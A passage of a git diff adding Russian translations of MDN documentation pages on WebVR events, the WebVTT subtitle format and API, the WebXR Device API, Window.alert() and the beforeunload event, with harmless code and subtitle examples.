+  orientStats.textContent = 'Orientation: x ' + orient[0].toFixed(3) + ', y ' + orient[1].toFixed(3) + ', z ' + orient[2].toFixed(3);
+  linVelStats.textContent = 'Linear velocity: x ' + linVel[0].toFixed(3) + ', y ' + linVel[1].toFixed(3) + ', z ' + linVel[2].toFixed(3);
+  angVelStats.textContent = 'Angular velocity: x ' + angVel[0].toFixed(3) + ', y ' + angVel[1].toFixed(3) + ', z ' + angVel[2].toFixed(3);
+
+  if(linAcc) {
+    linAccStats.textContent = 'Linear acceleration: x ' + linAcc[0].toFixed(3) + ', y ' + linAcc[1].toFixed(3) + ', z ' + linAcc[2].toFixed(3);
+  } else {
+    linAccStats.textContent = 'Linear acceleration not reported';
+  }
+
+  if(angAcc) {
+    angAccStats.textContent = 'Angular acceleration: x ' + angAcc[0].toFixed(3) + ', y ' + angAcc[1].toFixed(3) + ', z ' + angAcc[2].toFixed(3);
+  } else {
+    angAccStats.textContent = 'Angular acceleration not reported';
+  }
+}
+ +

WebVR events

+ +

The WebVR spec features a number of events that are fired, allowing our app code to react to changes in the state of the VR display (see Window events). For example:

+ + + +

To demonstrate how they work, our simple demo includes the following example:

+ +
window.addEventListener('vrdisplaypresentchange', function(e) {
+  console.log('Display ' + e.display.displayId + ' presentation has changed. Reason given: ' + e.reason + '.');
+});
+ +

As you can see, the {{domxref("VRDisplayEvent", "event object")}} provides two useful properties — {{domxref("VRDisplayEvent.display")}}, which contains a reference to the {{domxref("VRDisplay")}} the event was fired in response to, and {{domxref("VRDisplayEvent.reason")}}, which contains a human-readable reason why the event was fired.

+ +

This is a very useful event; you could use it to handle cases where the display gets disconnected unexpectedly, stopping errors from being thrown and making sure the user is aware of the situation. In Google's Webvr.info presentation demo, the event is used to run an onVRPresentChange() function, which updates the UI controls as appropriate and resizes the canvas.

+ +

Summary

+ +

This article has given you the very basics of how to create a simple WebVR 1.1 app, to help you get started.

diff --git a/files/ru/web/api/webvtt_api/index.html b/files/ru/web/api/webvtt_api/index.html new file mode 100644 index 0000000000..11db07532a --- /dev/null +++ b/files/ru/web/api/webvtt_api/index.html @@ -0,0 +1,905 @@ +--- +title: Формат Web Video Text Tracks (WebVTT) +slug: Web/API/WebVTT_API +translation_of: Web/API/WebVTT_API +--- +
{{APIRef("WebVTT")}}
+ +

Формат Web Video Text Tracks (WebVTT)это формат для отображения синхронизированных текстовых треков (такие как субтитры или подписи) с помощью  элементов {{HTMLElement("track")}}. Основная цель файлов WebVTT — добавить текстовые наложения к элементам {{HTMLElement("video")}}. WebVTT является текстовым форматом, который должен быть закодирован с использованием {{Glossary("UTF-8")}}. В этих файлах вы можете использовать пробелы и табы для отступов. Существует также небольшой API для представления и управления этими дорожками и данными, необходимыми для отображения текста в нужное время.

+ +

Файлы WebVTT

+ +

MIME тип файлов WebVTT — text/vtt.

+ +

Файл WebVTT (.vtt) содержит реплики (cues), которые могут быть одной строкой или несколькими строками, как показано ниже:

+ +
WEBVTT
+
+00:01.000 --> 00:04.000
+Никогда не пейте жидкий азот.
+
+00:05.000 --> 00:09.000
+- Это пробьет ваш желудок.
+- Вы можете умереть.
+
+ +

Тело WebVTT файла

+ +

Структура WebVTT состоит из следующих компонентов, некоторые из которых являются необязательными, в следующем порядке:

+ + + +
Пример 1 - Простейший возможный файл WEBVTT
+ +
WEBVTT
+
+ +
Пример 2 - Очень простой файл WebVTT с текстовым заголовком
+ +
WEBVTT - Этот файл не содержит реплик.
+
+ +
Пример 3 - Обычный WebVTT с заголовком и репликами
+ +
WEBVTT - Этот файл содержит реплики.
+
+14
+00:01:14.815 --> 00:01:18.114
+- Что?
+- Где мы сейчас?
+
+15
+00:01:18.171 --> 00:01:20.991
+- Это большая страна летучих мышей.
+
+16
+00:01:21.058 --> 00:01:23.868
+- [ Визг летучих мышей ]
+- Они не попадут в твои волосы. They're after the bugs.
+
+ +

Внутренняя структура файла WebVTT

+ +

Давайте вернемся к одному из наших предыдущих примеров и рассмотрим структуру реплик более подробно.

+ +
WEBVTT
+
+00:01.000 --> 00:04.000
+- Never drink liquid nitrogen.
+
+00:05.000 --> 00:09.000
+- It will perforate your stomach.
+- You could die.
+
+NOTE Это последняя строка в файле
+ +

В данном случае каждая реплика:

+ + + +

Мы также можем разместить комментарии в нашем файле .vtt, чтобы помочь нам запомнить важную информацию о частях нашего файла. Они должны быть в отдельных строках, начинающихся со слова NOTE. Подробнее об этом сказано  в следующем разделе.

+ +

Важно не использовать дополнительные пустые строки в реплике, например, между строкой синхронизации и текстом реплики. WebVTT использует строчные разделители, поэтому пустая строка обозначит окончание реплики.

+ +

Комментарии в WebVTT

+ +

Comments are an optional component that can be used to add information to a WebVTT file. Comments are intended for those reading the file and are not seen by users. Comments may contain newlines but cannot contain a blank line, which is equivalent to two consecutive newlines. A blank line signifies the end of a comment.

+ +

A comment cannot contain the string "-->", the ampersand character (&), or the less-than sign (<). If you wish to use such characters, you need to escape them using for example &amp; for ampersand and &lt; for less-than. It is also recommended that you use the greater-than escape sequence (&gt;) instead of the greater-than character (>) to avoid confusion with tags.

+ +

A comment consists of three parts:

+ + + +
Example 4 - Common WebVTT example
+ +
NOTE This is a comment
+
+ +
Example 5 - Multi-line comment
+ +
NOTE
+Another comment that is spanning
+more than one line.
+
+NOTE You can also make a comment
+across more than one line this way.
+
+ +
Example 6 - Common comment usage
+ +
WEBVTT - Translation of that film I like
+
+NOTE
+This translation was done by Kyle so that
+some friends can watch it with their parents.
+
+1
+00:02:15.000 --> 00:02:20.000
+- Ta en kopp varmt te.
+- Det är inte varmt.
+
+2
+00:02:20.000 --> 00:02:25.000
+- Har en kopp te.
+- Det smakar som te.
+
+NOTE This last line may not translate well.
+
+3
+00:02:25.000 --> 00:02:30.000
+- Ta en kopp
+
+ +

Стилизация реплик WebTT

+ +

Реплики WebVTT можно стилизовать, используя псевдоэлемент {{cssxref("::cue")}}.

+ +

В CSS-стилях сайта

+ +
video::cue {
+  background-image: linear-gradient(to bottom, dimgray, lightgray);
+  color: papayawhip;
+}
+
+video::cue(b) {
+  color: peachpuff;
+}
+
+ +

В данном примере фоном видео будет серый градиент, с цветом текста papayawhip. Также, текст, выделенный жирным шрифтом с помощью элемента {{HTMLElement("b")}}, имеет цвет peachpuff.

+ +

Фрагмент HTML, приведенный ниже, отображает видео.

+ +
<video controls autoplay src="video.webm">
+ <track default src="track.vtt">
+</video>
+
+ +

Within the WebVTT file itself

+ +

You can also define the style directly in the WebVTT file. In this case, you insert your CSS rules into the file with each rule preceded by the string "STYLE" all by itelf on a line of text, as shown below:

+ +
WEBVTT
+
+STYLE
+::cue {
+  background-image: linear-gradient(to bottom, dimgray, lightgray);
+  color: papayawhip;
+}
+/* Style blocks cannot use blank lines nor "dash dash greater than" */
+
+NOTE comment blocks can be used between style blocks.
+
+STYLE
+::cue(b) {
+  color: peachpuff;
+}
+
+00:00:00.000 --> 00:00:10.000
+- Hello <b>world</b>.
+
+NOTE style blocks cannot appear after the first cue.
+ +

We can also use identifiers inside WebVTT file, which can be used for defining a new style for some particular cues in the file. The example where we wanted the transcription text to be red highlighted and the other part to remain normal, we can define it as follows using CSS. Where it must be noted that the CSS uses escape sequences the way they are used in HTML pages:

+ +
WEBVTT
+
+1
+00:00.000 --> 00:02.000
+That’s an, an, that’s an L!
+
+crédit de transcription
+00:04.000 --> 00:05.000
+Transcrit par Célestes™
+
+ +
::cue(#\31) { color: lime; }
+::cue(#crédit\ de\ transcription) { color: red; }
+ +

Positioning of text tracks is also supported, by including positioning information after the timings in a cue, as seen below (see {{anch("Cue settings")}} for more information):

+ +
WEBVTT
+
+00:00:00.000 --> 00:00:04.000 position:10%,line-left align:left size:35%
+Where did he go?
+
+00:00:03.000 --> 00:00:06.500 position:90% align:right size:35%
+I think he went down this lane.
+
+00:00:04.000 --> 00:00:06.500 position:45%,line-right align:center size:35%
+What are you waiting for?
+ +

WebVTT cues

+ +

A cue is a single subtitle block that has a single start time, end time, and textual payload. Example 6 consists of the header, a blank line, and then five cues separated by blank lines. A cue consists of five components:

+ + + +
Example 7 - Example of a cue
+ +
1 - Title Crawl
+00:00:05.000 --> 00:00:10.000 line:0 position:20% size:60% align:start
+Some time ago in a place rather distant....
+ +

Cue identifier

+ +

The identifier is a name that identifies the cue. It can be used to reference the cue from a script. It must not contain a newline and cannot contain the string "-->". It must end with a single newline. They do not have to be unique, although it is common to number them (e.g., 1, 2, 3, ...).

+ +
Example 8 - Cue identifier from Example 7
+ +
1 - Title Crawl
+ +
Example 9 - Common usage of identifiers
+ +
WEBVTT
+
+1
+00:00:22.230 --> 00:00:24.606
+This is the first subtitle.
+
+2
+00:00:30.739 --> 00:00:34.074
+This is the second.
+
+3
+00:00:34.159 --> 00:00:35.743
+Third
+
+ +

Cue timings

+ +

A cue timing indicates when the cue is shown. It has a start and end time which are represented by timestamps. The end time must be greater than the start time, and the start time must be greater than or equal to all previous start times. Cues may have overlapping timings.

+ +

If the WebVTT file is being used for chapters ({{HTMLElement("track")}} {{htmlattrxref("kind")}} is chapters) then the file cannot have overlapping timings.

+ +

Each cue timing contains five components:

+ + + +

The timestamps must be in one of two formats:

+ + + +

Where the components are defined as follows:

+ + + +
Example 10 - Basic cue timing examples
+ +
00:22.230 --> 00:24.606
+00:30.739 --> 00:00:34.074
+00:00:34.159 --> 00:35.743
+00:00:35.827 --> 00:00:40.122
+ +
Example 11 - Overlapping cue timing examples
+ +
00:00:00.000 --> 00:00:10.000
+00:00:05.000 --> 00:01:00.000
+00:00:30.000 --> 00:00:50.000
+ +
Example 12 - Non-overlapping cue timing examples
+ +
00:00:00.000 --> 00:00:10.000
+00:00:10.000 --> 00:01:00.581
+00:01:00.581 --> 00:02:00.100
+00:02:01.000 --> 00:02:01.000
+ +

Cue settings

+ +

Cue settings are optional components used to position where the cue payload text will be displayed over the video. This includes whether the text is displayed horizontally or vertically. There can be zero or more of them, and they can be used in any order so long as each setting is used no more than once.

+ +

The cue settings are added to the right of the cue timings. There must be one or more spaces between the cue timing and the first setting and between each setting. A setting's name and value are separated by a colon. The settings are case sensitive so use lower case as shown. There are five cue settings:

+ + + +
Example 13 - Cue setting examples
+ +

The first line demonstrates no settings. The second line might be used to overlay text on a sign or label. The third line might be used for a title. The last line might be used for an Asian language.

+ +
00:00:05.000 --> 00:00:10.000
+00:00:05.000 --> 00:00:10.000 line:63% position:72% align:start
+00:00:05.000 --> 00:00:10.000 line:0 position:20% size:60% align:start
+00:00:05.000 --> 00:00:10.000 vertical:rt line:-1 align:end
+
+ +

Cue payload

+ +

The payload is where the main information or content is located. In normal usage the payload contains the subtitles to be displayed. The payload text may contain newlines but it cannot contain a blank line, which is equivalent to two consecutive newlines. A blank line signifies the end of a cue.

+ +

A cue text payload cannot contain the string "-->", the ampersand character (&), or the less-than sign (<). Instead use the escape sequence "&amp;" for ampersand and "&lt;" for less-than. It is also recommended that you use the greater-than escape sequence "&gt;" instead of the greater-than character (>) to avoid confusion with tags. If you are using the WebVTT file for metadata these restrictions do not apply.

+ +

In addition to the three escape sequences mentioned above, there are fours others. They are listed in the table below.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Table 6 - Escape sequences
NameCharacterEscape Sequence
Ampersand&&amp;
Less-than<&lt;
Greater-than>&gt;
Left-to-right mark&lrm;
Right-to-left mark&rlm;
Non-breaking space &nbsp;
+ +

Cue payload text tags

+ +

There are a number of tags, such as <bold>, that can be used. However, if the WebVTT file is used in a {{HTMLElement("track")}} element where the attribute {{htmlattrxref("kind")}} is chapters then you cannot use tags.

+ + + +

The following tags are the HTML tags allowed in a cue and require opening and closing tags (e.g., <b>text</b>).

+ + + +

Interfaces

+ +

There are two interfaces or APIs used in WebVTT which are:

+ +

VTTCue interface

+ +

It is used for providing an interface in Document Object Model API, where different attributes supported by it can be used to prepare and alter the cues in number of ways.

+ +

Constructor is the first point for starting the Cue which is defined using the default constructor VTTCue(startTime, endTime, text) where starting time, ending time and text for cue can be adjusted. After that we can set the region for that particular cue to which this cue belongs using cue.region. Vertical, horizontal, line, lineAlign, Position, positionAlign, text, size and Align can be used to alter the cue and its formation, just like we can alter the objects form, shape and visibility in HTML using CSS. But the VTTCue interface is within the WebVTT provides the vast range of adjustment variables which can be used directly to alter the Cue. Following interface can be used to expose WebVTT cues in DOM API:

+ +
enum AutoKeyword { "auto" };
+enum DirectionSetting { "" /* horizontal */, "rl", "lr" };
+enum LineAlignSetting { "start", "center", "end" };
+enum PositionAlignSetting { "line-left", "center", "line-right", "auto" };
+enum AlignSetting { "start", "center", "end", "left", "right" };
+[Constructor(double startTime, double endTime, DOMString text)]
+interface VTTCue : TextTrackCue {
+  attribute VTTRegion? region;
+  attribute DirectionSetting vertical;
+  attribute boolean snapToLines;
+  attribute (double or AutoKeyword) line;
+  attribute LineAlignSetting lineAlign;
+  attribute (double or AutoKeyword) position;
+  attribute PositionAlignSetting positionAlign;
+  attribute double size;
+  attribute AlignSetting align;
+  attribute DOMString text;
+  DocumentFragment getCueAsHTML();
+};
+ +

VTT Region interface

+ +

This is the second interface in WebVTT API.

+ +

The new keyword can be used for defining a new VTTRegion object which can then be used for containing the multiple cues. There are several properties of VTTRegion which are width, lines, regionAnchorX, RegionAnchorY, viewportAnchorX, viewportAnchorY and scroll that can be used to specify the look and feel of this VTT region. The interface code is given below which can be used to expose the WebVTT regions in DOM API:

+ +
enum ScrollSetting { "" /* none */, "up" };
+[Constructor]
+interface VTTRegion {
+  attribute double width;
+  attribute long lines;
+  attribute double regionAnchorX;
+  attribute double regionAnchorY;
+  attribute double viewportAnchorX;
+  attribute double viewportAnchorY;
+  attribute ScrollSetting scroll;
+};
+ +

Methods and properties

+ +

The methods used in WebVTT are those which are used to alter the cue or region as the attributes for both interfaces are different. We can categorize them for better understanding relating to each interface in WebVTT:

+ + + +

Tutorial on how to write a WebVTT file

+ +

There are few steps that can be followed to write a simple webVTT file. Before start, it must be noted that you can make use of a notepad and then save the file as ‘.vtt’ file. Steps are given below:

+ +
    +
  1. Open a notepad.
    2. +
  2. The first line of WebVTT is standardized similar in the way some other languages require you to put headers as the file starts to indicate the file type. One the very first line you have to write.
    3. +
+ +
WEBVTT
+ +

      3. Leave the second line blank, and on the third line the time for first cue is to be specified. For example, for a first cue starting at time 1 second and ending at 5 seconds, it is written as:

+ +
00:01.000 --> 00:05.000
+ +
    +
  1. On the next line you can write the caption for this cue which will run from 1st second to the 5th second, inclusive.
    2. +
  2. Following the similar steps, a complete WebVTT file for specific video or audio file can be made.
    3. +
+ +

CSS pseudo-classes

+ +

CSS pseudo classes allow us to classify the type of object which we want to differentiate from other types of objects. It works in similar manner in WebVTT files as it works in HTML file.

+ +

It is one of the good features supported by WebVTT is the localization and use of class elements which can be used in same way they are used in HTML and CSS to classify the style for particular type of objects, but here these are used for styling and classifying the Cues as shown below:

+ +
WEBVTT
+
+04:02.500 --> 04:05.000
+J’ai commencé le basket à l'âge de 13, 14 ans
+
+04:05.001 --> 04:07.800
+Sur les <i.foreignphrase><lang en>playground</lang></i>, ici à Montpellier
+ +

In the above example it can be observed that we can use the identifier and pseudo class name for defining the language of caption, where <i> tag is for italics.

+ +

The type of pseudo class is determined by the selector it is using and working is similar in nature as it works in HTML. Following CSS pseudo classes can be used:

+ + + +

Where p and a are the tags which are used in HTML for paragraph and link, respectively and they can be replaced by identifiers which are used for Cues in WebVTT file.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("WebVTT")}}{{Spec2("WebVTT")}}Initial definition
+ +

Browser compatibility

+ + + +

VTTCue interface

+ +
+ + +

{{Compat("api.VTTCue", 0)}}

+ +

TextTrack interface

+ +
+ + +

{{Compat("api.TextTrack", 0)}}

+ +

Notes

+
+
+ + + +

Prior to Firefox 50, the AlignSetting enum (representing possible values for {{domxref("VTTCue.align")}}) incorrectly included the value "middle" instead of "center". This has been corrected.

+ +

WebVTT was implemented in Firefox 24 behind the preference {{pref("media.webvtt.enabled")}}, which is disabled by default; you can enable it by setting this preference to true. WebVTT is enabled by default starting in Firefox 31 and can be disabled by setting the preference to false.

+ +

Prior to Firefox 58, the REGION keyword was creating {{domxref("VTTRegion")}} objects, but they were not being used. Firefox 58 now fully supports VTTRegion and its use; however, this feature is disabled by default behind the preference media.webvtt.regions.enabled; set it to true to enable region support in Firefox 58. Regions are enabled by default starting in Firefox 59 (see bugs {{bug(1338030)}} and {{bug(1415805)}}).

diff --git a/files/ru/web/api/webxr_device_api/index.html b/files/ru/web/api/webxr_device_api/index.html new file mode 100644 index 0000000000..913ea6fcf9 --- /dev/null +++ b/files/ru/web/api/webxr_device_api/index.html @@ -0,0 +1,197 @@ +--- +title: WebXR Device API +slug: Web/API/WebXR_Device_API +translation_of: Web/API/WebXR_Device_API +--- +

{{DefaultAPISidebar("WebXR Device API")}}

+ +

WebXR is a group of standards which are used together to support rendering 3D scenes to hardware designed for presenting virtual worlds (virtual reality, or VR), or for adding graphical imagery to the real world, (augmented reality, or AR). The WebXR Device API implements the core of the WebXR feature set, managing the selection of output devices, render the 3D scene to the chosen device at the appropriate frame rate, and manage motion vectors created using input controllers.

+ +

WebXR-compatible devices include fully-immersive 3D headsets with motion and orientation tracking, eyeglasses which overlay graphics atop the real world scene passing through the frames, and handheld mobile phones which augment reality by capturing the world with a camera and augment that scene with computer-generated imagery.

+ +

To accomplish these things, the WebXR Device API provides the following key capabilities:

+ + + +

At the most basic level, a scene is presented in 3D by computing the perspective to apply to the scene in order to render it from the viewpoint of each of the user's eyes by computing the position of each eye and rendering the scene from that position, looking in the direction the user is currently facing. Each of these two images is rendered into a single framebuffer, with the left eye's rendered image on the left and the right eye's viewpoint rendered into the right half of the buffer. Once both eyes' perspectives on the scene have been rendered, the resulting framebuffer is delivered to the WebXR device to be presented to the user through their headset or other appropriate display device.

+ +

WebXR Device API concepts and usage

+ +
+
Example WebXR hardware setup
+Sketch of a person in a chair with wearing goggles labelled "Head mounted display (HMD)" facing a monitor with a webcam labeled "Position sensor"
+ +

While the older WebVR API was designed solely to support Virtual Reality (VR), WebXR provides support for both VR and Augmented Reality (AR) on the web. Support for AR functionality is added by the WebXR Augmented Reality Module.

+ +

A typical XR device can have either 3 or 6 degrees of freedom and might or might not have an external positional sensor.

+ +

The equipment may also include an accelerometer, barometer, or other sensors which are used to sense when the user moves through space, rotates their head, or the like.

+ +

Accessing the WebXR API

+ +

To gain access to the WebXR API within the context of a given window, use the {{domxref("navigator.xr")}} property, which returns an {{domxref("XRSystem")}} object through which the entire WebXR Device APi is then exposed.

+ +
+
{{domxref("navigator.xr")}} {{ReadOnlyInline}}
+
This property, added to the {{domxref("Navigator")}} interface, returns the {{domxref("XRSystem")}} object through which the WebXR API is exposed. If this property is missing or null, WebXR is not available.
+
+ +

Интерфейсы WebXR

+ +
+
{{DOMxRef("XR")}}
+
The {{domxref("Navigator.xr", "navigator.xr")}} property returns the window's instance of {{domxref("XRSystem")}}, which is the mechanism by which your code accesses the WebXR API. Using the XRSystem interface, you can create {{domxref("XRSession")}}s to represent actual AR and/or VR sessions.
+
{{DOMxRef("XRFrame")}}
+
While presenting an XR session, the state of all tracked objects which make up the session are represented by an XRFrame. To get an XRFrame, call the session's {{domxref("XRSession.requestAnimationFrame", "requestAnimationFrame()")}} method, providing a callback which will be called with the XRFrame once available. Events which communicate tracking states will also use XRFrame to contain that information.
+
{{DOMxRef("XRRenderState")}}
+
Provides a set of configurable properties which change how the imagery output by an XRSession is composited.
+
{{DOMxRef("XRSession")}}
+
Provides the interface for interacting with XR hardware. Once an XRSession is obtained from {{domxref("XRSystem.requestSession", "navigator.xr.requestSession()")}}, the session can be used to check the position and orientation of the viewer, query the device for environment information, and present the virtual or augmented world to the user.
+
{{DOMxRef("XRSpace")}}
+
XRSpace is an opaque base class on which all virtual coordinate system interfaces are based. Positions in WebXR are always expressed in relation to a particular XRSpace at the time at which a particular {{domxref("XFrame")}} takes place. The space's coordinate system has its origin at the a given physical position.
+
{{DOMxRef("XRReferenceSpace")}}
+
A subclass of {{domxref("XRSpace")}} which is used to identify a spatial relationship in relation to the user's physical environment. The XRReferenceSpace coordinate system is expected to remain unchanged through the lifespan of the {{domxref("XRSession")}}.The world has no boundaries and extends infinitely in every direction.
+
{{DOMxRef("XRBoundedReferenceSpace")}}
+
XRBoundedReferenceSpace extends the {{domxref("XRReferenceSpace")}} coordinate system to further include support for a finite world with set boundaries. Unlike XRReferenceSpace, the origin must be located on the floor (that is, y = 0 at the floor). The x and z components of the origin are typically presumed to be located at or near the center of the room or surface.
+
{{DOMxRef("XRView")}}
+
Represents a single view into the XR scene for a particular frame. Each XRView corresponds to the video display surface used to present the scene to the user. For example, a given XR device might have two views: one for the left eye and one for the right. Each view has an offset used to shift the position of the view relative to the camera, in order to allow for creating stereographic effects.
+
{{DOMxRef("XRViewport")}}
+
Describes a viewport. A viewport is a rectangular portion of a graphic surface. In WebXR, a viewport represents the area of a drawing surface corresponding to a particular {{domxref("XRView")}}, such as the portion of the WebGL framebuffer used to render one of the two eyes' perspectives on the scene.
+
{{DOMxRef("XRRigidTransform")}}
+
A transform defined using a position and orientation in the virtual space's coordinate system as described by the {{domxref("XRSpace")}}.
+
{{DOMxRef("XRPose")}}
+
Describes a position and orientation in space relative to an {{domxref("XRSpace")}}.
+
{{DOMxRef("XRViewerPose")}}
+
Based on {{domxref("XRPose")}}, XRViewerPose specifies the state of a viewer of the WebXR scene as indicated by the XR device. Included is an array of {{domxref("XRView")}} objects, each representing one perspective on the scene. For example, it takes two views to create the stereoscopic view as perceived by human vision—one for the left eye and a second for the right eye. One view is offset to the left slightly from the viewer's position, and the other view is offset to the right by the same distance. The view list can also be used to represent the perspectives of each of the spectators of a scene, in a multi-user environment.
+
{{DOMxRef("XRInputSource")}}
+
Represents any input device the user can use to perform targeted actions within the same virtual space as the viewer. Input sources may include devices such as hand controllers, optical tracking systems, and other devices which are explicitly associated with the XR device. Other input devices such as keyboards, mice, and gamepads are not presented as XRInputSource instances.
+
{{DOMxRef("XRWebGLLayer")}}
+
A layer which serves as a WebGL frame buffer into which a scene's view is rendered. Using WebGL to render the scene gains substantial performance benefits due to graphics acceleration.
+
+ +

Интерфейсы событий WebXR

+ +

Следующие интерфейсы представляют события WebXR API.

+ +
+
{{domxref("XRInputSourceEvent")}}
+
Sent when the state of an {{domxref("XRInputSource")}} changes. This can happen, for example, when the position and/or orientation of the device changes, or when buttons are pressed or released.
+
{{domxref("XRInputSourcesChangeEvent")}}
+
Sent to indicate that the set of available input sources has changed for the {{domxref("XRSession")}}.
+
{{domxref("XRReferenceSpaceEvent")}}
+
Sent when the state of an {{domxref("XRReferenceSpace")}} changes.
+
{{domxref("XRSessionEvent")}}
+
Sent to indicate that the state of an {{domxref("XRSession")}} has changed. For example, if the position and/or orient
+
+ +

Расширения к WebGL API

+ +

WebGL API расширяется спецификацией WebXR для того, чтобы дополнить контекст WebGL, чтобы с помощью него можно было отрисовывать изображение для отображения на устройствах WebXR.

+ +
+
{{domxref("WebGLRenderingContextBase.makeXRCompatibile","WebGLRenderingContextBase.makeXRCompatibile()")}}
+
Настраивает контекст WebGL для совместимости с WebXR. Если при создании контекста опция {{domxref("WebGLContextAttributes.xrCompatible", "xrCompatible")}} не была установлена как true, необходимо вызвать метод makeXRCompatible() до использования контекста WebGL для рендеринга WebXR. Возвращает {{jsxref("Promise")}}, выполняющийся, когда контекст был подготовлен, или отклонен, если контекст не может быть настроен для работы с WebXR.
+
+ +

Руководства и уроки

+ +

Следующие руководства и уроки помогут Вам изучить, как работает WebXR и низкоуровневые функции 3D и VR/AR графики.

+ +

Основы

+ +
+
Fundamentals of WebXR
+
Before diving into the details of how to create content using WebXR, it may be helpful to read this overview of the technology, which includes introductions to terminology that may be unfamiliar to you, or which may be used in a new way.
+
Matrix math for the web
+
A guide covering how matrices can be used on the web, including both for CSS transforms and for WebGL purposes, as well as to handle the positioning and orientation of objects in WebXR contexts.
+
WebXR application life cycle
+
An overview of the overall life cycle of a WebXR application, from startup to shutdown. This article serves as an introduction to the basics of what's involved in creating a WebXR experience without diving into the code in detail. It's a good way to prepare for the next steps.
+
+ +

Создание приложения смешанной реальности

+ +
+
Starting up and shutting down a WebXR session
+
Before actually presenting a scene using an XR device such as a headset or goggles, you need to create a WebXR session bound to a rendering layer that draws the scene for presentation in each of the XR device's displays so that the 3D effect can be presented to the user. This guide covers how to create and stop WebXR sessions.
+
Geometry and reference spaces in WebXR
+
In this guide, the required concepts of 3D geometry are briefly reviewed, and the fundamentals of how that geometry is represented in WebXR are detailed. Learn how reference spaces are used to position objects—and the viewer—and the differences among the available types of reference space, as well as their use cases.
+
Spatial tracking in WebXR
+
This guide describes how objects—including the user's body and its parts—are located in space, and how their movement and orientation relative to one another is monitored and managed over time. This article explains the relationship between spaces, poses, viewers, and views.
+
Rendering and the WebXR frame animation callback
+
Starting with how you schedule frames to be rendered, this guide then continues to cover how to determine the placement of objects in the view and how to then render them into the WebGL buffer used for each of the two eyes' views of the scene.
+
Viewpoints and viewers: Simulating cameras in WebXR
+
WebGL (and therefore WebXR) doesn't really have a concept of a camera, which is the traditional concept used to represent a viewpoint in 3D graphics. In this article, we see how to simulate a camera and how to create the illusion of moving a viewer through a world in which the viewer doesn't really move.
+
Lighting a WebXR setting
+
Since WebXR rendering is based upon WebGL, the same lighting techniques used for any 3D application are applied to WebXR scenes. However, there are issues specific to creating augmented and virtual reality settings that need to be considered when writing your lighting code. This article discusses those issues.
+
Using bounded reference spaces
+
In this article, we examine how to use a bounded-floor reference space to define the boundaries of where the viewer can safely move about without leaving the area tracked by their XR hardware or colliding with a physical obstacle. On devices which support it, bounded-floor can be a useful tool in your repertoire.
+
+ +

Интерактивность

+ +
+
Movement, orientation, and motion: A WebXR example
+
In this example and tutorial, we use information learned throughout the WebXR documentation to create a scene containing a rotating cube which the user can move around using both VR headset and keyboard and mouse.
+
Inputs and input sources
+
A guide to input sources and how to efficiently manage the input devices being used to control the WebXR session, and how to receive and process user inputs from those devices.
+
Targeting and hit detection
+
How to use an input source's targeting ray mode and targeting ray space to display a targeting ray, identify targeted surfaces or objects, and perform related tasks.
+
Using WebXR input profiles
+
A guide to interpreting the {{Glossary("JSON")}} data provided by the WebXR Input Profiles Registry, which can be used to determine what options and controls are available on the user's available input devices.
+
Supporting advanced controllers and gamepads in WebXR applications
+
WebXR uses the {{domxref("Gamepad")}} object to describe the controls available on complex input devices (such as hand controllers with multiple buttons and/or axes) and gamepad-like devices. In this guide, learn how to make use of these devices' controls.
+
+ +

Производительность и безопасность

+ +
+
WebXR performance guide
+
Recommendations and tips to help you optimize the performance of your WebXR application.
+
Permissions and security for WebXR
+
The WebXR Device API has several areas of security to contend with, from establishing feature-policy to ensuring the user intends to use the mixed reality presentation before activating it.
+
+ +

Включение другого медиаконтента

+ +
+
Positional audio in a 3D environment
+
In 3D environments, which may either be 3D scenes rendered to the screen or a mixed reality experience experienced using a headset, it's important for audio to be performed so that it sounds like it's coming from the direction of its source. This guide covers how to accomplish this.
+
Playing video in a 3D environment
+
In this guide, we examine how to play video into a 3D scene. This technique can be used in both standard WebGL applications presented on a flat computer screen, or in a WebXR-generated virtual or augmented reality environment.
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName("WebXR")}}{{Spec2("WebXR")}}Initial definition.
+ +

Совместимость

+ +

{{Compat("api.Navigator.xr")}}

+ +

See also

+ + diff --git a/files/ru/web/api/window/alert/index.html b/files/ru/web/api/window/alert/index.html new file mode 100644 index 0000000000..d727f8083a --- /dev/null +++ b/files/ru/web/api/window/alert/index.html @@ -0,0 +1,75 @@ +--- +title: Window.alert() +slug: Web/API/Window/alert +translation_of: Web/API/Window/alert +--- +

{{ APIRef }}

+ +

Метод Window.alert() показывает диалоговое окно с опциональным (необязательным) сообщением и кнопкой OK.

+ +

Синтаксис

+ +
window.alert(message);
+ + + +

Пример

+ +
window.alert("Hello world!");
+
+ +

покажет:

+ +

Image:AlertHelloWorld.png

+ +

Больше JS

+ +
alert();
+
+ +

Примечания

+ +

Этот диалог следует использовать для сообщений, которые не требуют никакого ответа от пользователя, кроме подтверждения самого сообщения.

+ +

Окна сообщений - модальные, они препятствуют получению пользователем доступа к другим частям страницы до тех пор, пока окно не будет закрыто. По этой причине, вам не следует злоупотреблять этой функцией.

+ +

The following text is shared between this article, DOM:window.prompt and DOM:window.confirm Пользователи Mozilla Chrome (например, расширения для Firefox) должны использовать метод {{interface("nsIPromptService")}}.

+ +

Начиная с Chrome {{CompatChrome(46.0)}} этот метод заблокирован в {{htmlelement("iframe")}} пока аттрибут sandbox не устанолвлен в значение allow-modal.

+ +

{{gecko_minversion_inline("23.0")}} Аргумент является опциональным и необязательным согласно спецификации.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#dom-alert', 'alert()')}}{{Spec2('HTML WHATWG')}} +

 

+
+ +

 

+ +

Совместимость с браузерами

+ +

{{Compat("api.Window.alert")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/window/beforeunload_event/index.html b/files/ru/web/api/window/beforeunload_event/index.html new file mode 100644 index 0000000000..dfc23da20f --- /dev/null +++ b/files/ru/web/api/window/beforeunload_event/index.html @@ -0,0 +1,100 @@ +--- +title: 'Window: beforeunload event' +slug: Web/API/Window/beforeunload_event +translation_of: Web/API/Window/beforeunload_event +--- +
{{APIRef}}
+ +

Событие beforeunload запускается, когда окно, документ и его ресурсы вот-вот будут выгружены. Документ все еще виден, и событие в этот момент может быть отменено.

+ + + + + + + + + + + + + + + + + + + + +
ВсплываемостьНет
ОтменяемостьДа
